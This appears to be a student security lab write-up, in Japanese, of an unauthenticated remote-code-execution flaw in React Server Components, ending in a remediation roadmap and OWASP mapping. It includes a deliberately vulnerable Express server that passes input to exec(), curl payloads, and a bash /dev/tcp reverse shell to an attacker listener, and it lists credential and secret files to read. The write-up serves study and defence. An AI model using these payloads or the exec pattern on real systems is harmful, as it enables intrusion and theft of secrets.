
CVE-2025-55182 (React) のセキュリティリサーチ & エクスプロイト分析 — CVSS + OWASP Top 10 マッピング
Web アプリケーション脆弱性分析 · M2 Cybersecurity · 2025 著者: Niane Mohamed · LinkedIn
React Server Components における 緊急 (CVSS 10.0) の安全でない逆直列化 (Insecure Deserialization) 脆弱性について、偵察から認証なしのリモートコード実行までのエンドツーエンドの攻撃チェーンと、完全な修復ロードマップを解説する。
この調査は、CVE を実証するために構築された意図的に脆弱なラボアプリケーションを対象としている。すべてのテストは、本番システム、実在するユーザーデータ、または第三者サービスに一切接続されていない隔離された仮想ネットワーク内で実施された。
| 項目 | 値 |
|---|
| CVE | CVE-2025-55182 |
| クラス | 安全でない逆直列化 → リモートコード実行 |
| CVSS v3.1 | 10.0 (緊急) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| 必要な認証 | なし |
| 必要なユーザー操作 | なし |
| 攻撃ベクトル | ネットワーク (リモート) |
| コンポーネント | React Server Components (RSC) ランタイム |
React Server Components は、サーバー側でレンダリングされたコンポーネントをクライアントにストリーミングするための新しいシリアライズ形式を導入した。脆弱なバージョンでは、RSC エンドポイントが cmd フィールドを含む JSON ペイロードを受け入れ、そのフィールドがサニタイズされずにサーバーサイドレンダリング評価の一部として child_process.exec() に渡される。
攻撃者は、以下のように細工された POST リクエストを送信できる:
root) で実行される| コンポーネント | 影響を受ける範囲 | 修正版 |
|---|---|---|
react | 19.0.0 → 19.2.0 | 19.3.0+ |
react-server-dom-webpack | 19.0.0 → 19.2.0 | 19.3.0+ |
react-server-dom-esm | 19.0.0 → 19.2.0 | 19.3.0+ |
| 役割 | OS | ツール |
|---|---|---|
| 攻撃者 | Kali Linux (最新版) | nmap、curl、netcat、OWASP ZAP、Firefox |
| ターゲット | Ubuntu 22.04.4 | Node.js 18、Express、React 19.0 RSC |
| ネットワーク | VMware VMnet Host-Only | 外部へのインターネット接続なし |
/rsc エンドポイントを公開する最小限の Express + RSC サーバー。受信したペイロードからコマンドを安全でない方法で実行し、実際の CVE の脆弱性パターンを管理された環境で再現する:
// server.js — simplified, lab-only
const express = require('express');
const { exec } = require('child_process');
const app = express();
app.use(express.json({ limit: '2mb' }));
app.post('/rsc', (req, res) => {
const payload = req.body?.payload;
if (typeof payload?.cmd === 'string') {
// VULNERABLE: executes attacker-controlled string
exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: String(err), stderr });
return res.json({ ok: true, out: stdout });
});
}
});
app.listen(3000);
# Port discovery
nmap 192.168.159.131
# → 3000/tcp open ppp (Node.js RSC server)
# Service verification
curl -v http://192.168.159.131:3000/
# → HTTP/1.1 200 OK
# → X-Powered-By: Express
# → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."
X-Powered-By: Express ヘッダーと通常とは異なるポート 3000 は、これが Node.js アプリケーションであることを示す強力なフィンガープリントであり、RSC デプロイメントと一致する。
破壊的な行為を試みる前に、無害なコマンドで脆弱性を検証する:
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "id" } }'
# Response:
# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}
✅ 確認済み: root として認証なしの RCE が成立。サーバーは制約なしの権限で実行されている。
単一コマンド実行から完全な対話型シェルへ昇格する:
# Listener on attacker machine
nc -lvnp 4444
# Payload delivery
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'
リスナーが受信する内容:
connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
root@ns1:~/vulnerable_rsc_app# id
uid=0(root) gid=0(root) groups=0(root)
ターゲット上で root を取得した攻撃者は、容易に以下を行うことができる:
/etc/shadow、SSH キー、アプリケーションシークレット、.env ファイルの読み取り| 軸 | 影響 | 説明 |
|---|---|---|
| 機密性 | 重大 | サーバー上のすべてのデータへの完全な読み取りアクセス |
| 完全性 | 重大 | アプリケーションコードとユーザーデータを改ざんできる |
| 可用性 | 高 | 攻撃者はサービスを停止させたり、身代金目的で人質に取ったりできる |
| 規制 | 深刻 | GDPR/DSGVO 違反、72 時間以内の開示義務・グローバル売上高の最大 4% の制裁金の可能性 |
| 評判 | 深刻 | CVE にマッピングされた公知の侵害により顧客の信頼が損なわれる |
| 財務 | 高 | インシデント対応、規制制裁金、集団訴訟の可能性 |
この攻撃は複雑性が低く、認証もユーザー操作も不要で、単一の HTTP リクエストで成立するため、以下の攻撃者にとって魅力的である:
React を 19.3.0+ にアップグレードする — 修正済みバージョン
npm update react react-server-dom-webpack react-server-dom-esm
一時的な WAF ルール (アップグレードが遅れる場合):
Block POST requests to /rsc with JSON body containing "cmd" field
緊急インシデント対応:
/rsc への POST トラフィックを探す| 対策 | 目的 |
|---|---|
| 未使用なら RSC を無効化 | 攻撃対象領域を削減 — 多くのアプリはサーバーコンポーネントを必要としない |
| 厳格な入力検証 | 実行可能なキーを含む逆直列化オブジェクトをすべて拒否 |
| 非 root コンテナユーザー | RCE が再発した場合の爆発半径を限定 |
| 読み取り専用ルートファイルシステム | 永続化とバイナリのドロップを防ぐ |
| Egress フィルタリング | アプリサーバーから任意の IP へのアウトバウンドトラフィックをブロック |
| 対策 | 目的 |
|---|---|
| 行動分析付き WAF | シグネチャルールを超えた異常な POST ペイロードを検出 |
| RASP (ランタイムアプリケーション自己保護) | 実行時に exec() などの危険な関数呼び出しをブロック |
| CI/CD での SCA | デプロイ前に脆弱な依存関係を検出 (pip-audit、npm audit、Trivy) |
| ペネトレーションテストの頻度 | 年次 + メジャーリリース後 |
| バグ報奨金プログラム | 攻撃者が問題を発見する前にホワイトハットによる開示を促進 |
| OWASP カテゴリ | 関連性 |
|---|---|
| A03:2021 — インジェクション | 逆直列化された入力によるコマンドインジェクション |
| A08:2021 — ソフトウェアおよびデータの整合性の障害 | 整合性検証なしの安全でない逆直列化 |
| A06:2021 — 脆弱で旧式のコンポーネント | 開示後に React 19.0–19.2 を使用 |
| A05:2021 — セキュリティ設定の誤り | Node.js を root で実行、入力検証なし |
curl による HTTP 操作、リバースシェル構築、ペイロード作成MIT ライセンス — LICENSE を参照
教育および防御的研究目的で公開。冒頭の倫理的免責事項を参照のこと。
Niane Mohamed — ネットワーク & セキュリティエンジニア 📍 ヌアクショット、モーリタニア → ドイツでの機会を求職中 🇩🇪 📧 [email protected] · 🔗 LinkedIn